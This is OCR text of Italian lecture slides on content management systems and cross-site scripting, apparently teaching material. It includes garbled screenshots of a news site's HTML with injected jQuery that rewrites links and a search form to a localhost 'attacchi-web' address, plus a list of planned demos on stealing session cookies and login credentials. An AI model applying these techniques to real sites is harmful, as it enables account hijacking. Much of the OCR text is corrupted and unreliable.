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CMS — Content Management System

CMS e l'acronimo di Content Management System, che tradotto in italiano

significa Sistema di Gestione dei Contenuti

Quando si parla di "contenuti" si intendono dati, informazioni, conoscenze, in

qualsiasi forma (testo, immagine, video, musica, software, ecc.).

| CMS gestiscono in modo semplice anche la "struttura " ovvero: impaginazione,
formattazione, architettura, sezioni, gestione delle modifiche e delle versioni,

gerarchia e privilegi dei ruoli, ecc.



CMS — Content Management System

Un CMS permette di costruire e aggiornare un sito dinamico, anche molto grande,
senza necessita di scrivere una riga di HTML e senza conoscere linguaggi di
programmazione lato server (come PHP) o progettare un apposito database.
L'aspetto esteriore delle pagine puo essere personalizzato scegliendo un foglio di
stile CSS appositamente progettato per un determinato CMS. | CMS nascono gia

con dei moduli ad hoc per la gestione:

* diun'enciclopedia on-line * unarivista
* unblog ° e-commerce
* unforum * Etc..



CMS —WORDPRESS

WordPress e in assoluto il CMS piu usato nel mondo
Il 60% dei siti che usano CMS usa WordPress, stando alle statistiche w3techs.com

16 milioni di siti sono basati sulla piattaforma WordPress e a sequire ci sono i due
rivali Joomla (2,6 milioni di siti) e Drupal (726 mila siti)

E opensource quindi si pud usare gratuitamente.

Il fatto che sia open source significa che il sistema ha il codice sorgente aperto,
quindi non solo gratuito ma anche completamente visibile e modificabile da

chiunque.




XSS - Cross Site Scripting

- </fdiv>
o '::' <div class="edition-menu hidden-phone">
<strong>Edizioni AN3SAZ</sztrong>
Comnenn  Pulion Trnnwmte Tagiost s Vawde Cullars Towsdogle Spot TI00 . TIDAD  Vede b wrebend ¢ <ul>

Lagett Ayl M | el - P - Bukhe - Sutn - Yol S+ LTAE <liv<a href="http://www.an=amed.info/"><em>Mediterraneo</em></ad></1i>

<liv<a href="/eurcpa/"><em>Eurcpa</em></a></1li>
— - | = <liv<a href="/nuova eurcpa/it/"><em>NuovaEurcpa</em></a></1i>

<li><a href="http://www.an=alatina.com/"><em>Latina</em></a></1i>

<1i><m href="http://an=zbra=il. com.br/"><em>EBra=il</em></a></11>
<li><a href="/english/index.html"><em>English</em></a></1i>
<1i class="bt-mcbile"><span></span><a href="/=ito/static/an=a mcbile_ html"><em>Mobile</em></a></1i>
</ul>
</div>
</div>

<t— o
<div class="menu-tcp-mocbile hidden-de=ktop hidden—tablet">
<uly>

<liy<a href="/=ito/notizie/topnews=/ultimacra mobile.html" class="bt-ultimacra">Ultima Ora</a></1i

<li><a href="/sito/photogallexy/foto.shtml"class="bt-foto">Foto</a></11i

<1i class="la=t"><a href="/sito/videogallexy deo.shitml " class="bt-video " >Video</a></1i>
</ul>
</div>

<div id="banner320x45top" class="adv-phone hidden-de=ktop hidden-tablet"></div>

< oome T
<div class="header">
<h1 class="brand" itemscope itemtype="http://data-vocabulary.org/Breadcrumb™> <a href="/" class="brand-logc"
<div class="date-=ite hidden-tablet hidden-phone"><span id="itdate"><script type="text/javascript">
f /<) [CDATA[
function Aggl)
thi=.length = Agg.arguments=.length;
for i>this.length; i++)
{
thi=[i + 1] = Agg.arguments{i];

gg = new Aggl};

gg{0] = "Domenica®™;

gg{l]l] = "Luned&igrave;";
ggl2]l "Martedsigrave;";
gg{3] = "Mercoled&igrave;";
ggl4] = "Giovediigrave;™;
gglS5] = "Venerdsigrave;";

ggl€l “Sabato™;




XSS - Cross Site Scripting

</fdiv>

<div class="editicon—menu hidden—phone">
<strong>Edizicni AN3A
<ul>

<1liy<a href="http://wwr.an=amed.info/"><em>Mediterraneo</en></a></11>

</ strong>

<li><a href="/eurcpa/"><em>Eurcpa</em></a></1i>

<liv<a href="/nuova esurcpa/it/"><em>NuovaEurcpa</em></a></1i>

<lid><a href="http://www.an=alatina.com/"><em>Latina</em></a></1i>

<1li><a href="http:, >

href: english/index.html"><em>English</em></a></1i> J 1 AT,
<1i class="bt-mcbile"><span></span><a hrxef="/=ito/static/ansa mcbile.html"><em>Mobile</em></a><, ‘ ‘ l

</ul> . document.getElementById("

Jan=abra=il com.br/"><em>EBrasil</em></ax<

=n;

<li><a

</div> < 4,
</div> document.getElementById(
S5 =t ‘ document.getElementById (" =" e

<div class="menu-top-mocbile hidden-de=ktop hidden-tablet">
<ul> /I
‘ultimacra mobile.html" class="bt-ultimacra">Ultima Ora</a></1i: e

B i

<li><a href="/=ito/notizie/topne

<1lid><a href="/sito/photogallexy tc.:hc:l':%:::: bt-foto">Foto</a></11i> . ] jQuery( Jieta-cags > oino ).replaceWith(”.w%gz : N3 Attt 1= /3 c
<li class="la=t"><as href="/zito/videogallexyv/video.shitml"clazss="bt-video" idec</ar</1li 2 ¢ 5
</uls> — JQuery( ta-tags > di nl > a').replaceNith('<a href="http://localhost/attacchi-web/fr
</div> Autenticaziane"syss - erca ed Autenticazione</a>'):
<div id="banner320x45top" class="adv-phone b dg PP hicdden-tablet"></div> AT A e TR il pEC A OnE S WA TS e ) ;
<div class="header™> S =
<kl claszz="brand"” itemscope itemtype="http://data-veocabulary.org/Breadcrumb®™> <a href="/" clasz=="bzi jﬁuery( $3earchior ).at;r( acrion’, ntto://localhost/attacchi-web/fral I V*);

<div class="date-=ite hidden-tzblet hidden-phone"><span id="itdate"><script type="text/javas=cript">
/<! [CDATA[

function Aggl) /

this.length = Agg.arguments.length; 14 jQuery( L0D-10QiN-I02

for (var i=0; i>this.length; i++)

r

i
this{i + 1] = Agg.arguments{i];

var gg = new Aggll);

i gg{0] = "Domenica™;
gg{l]l] = "Lunedsigrave;";
ggl2] = "Martedsigrave;";

: ggl3] = "Mercoled&iigrave;"”;
ggl4] = "Giovediigrave;™;
ggl5] = "Venerdéigrave;";
ggl€] = “3abato™;




XSS - Cross Site Scripting

Cosa vedremo in pratica:

Cambio contenuti, titoli e stile nella pagina

Copia dei cookie di sessione su database esterno

Reindirizzamento su sito fake

Controllo delle parole utilizzate per la ricerca all'interno del sito

Copia degli account di autenticazione del sito




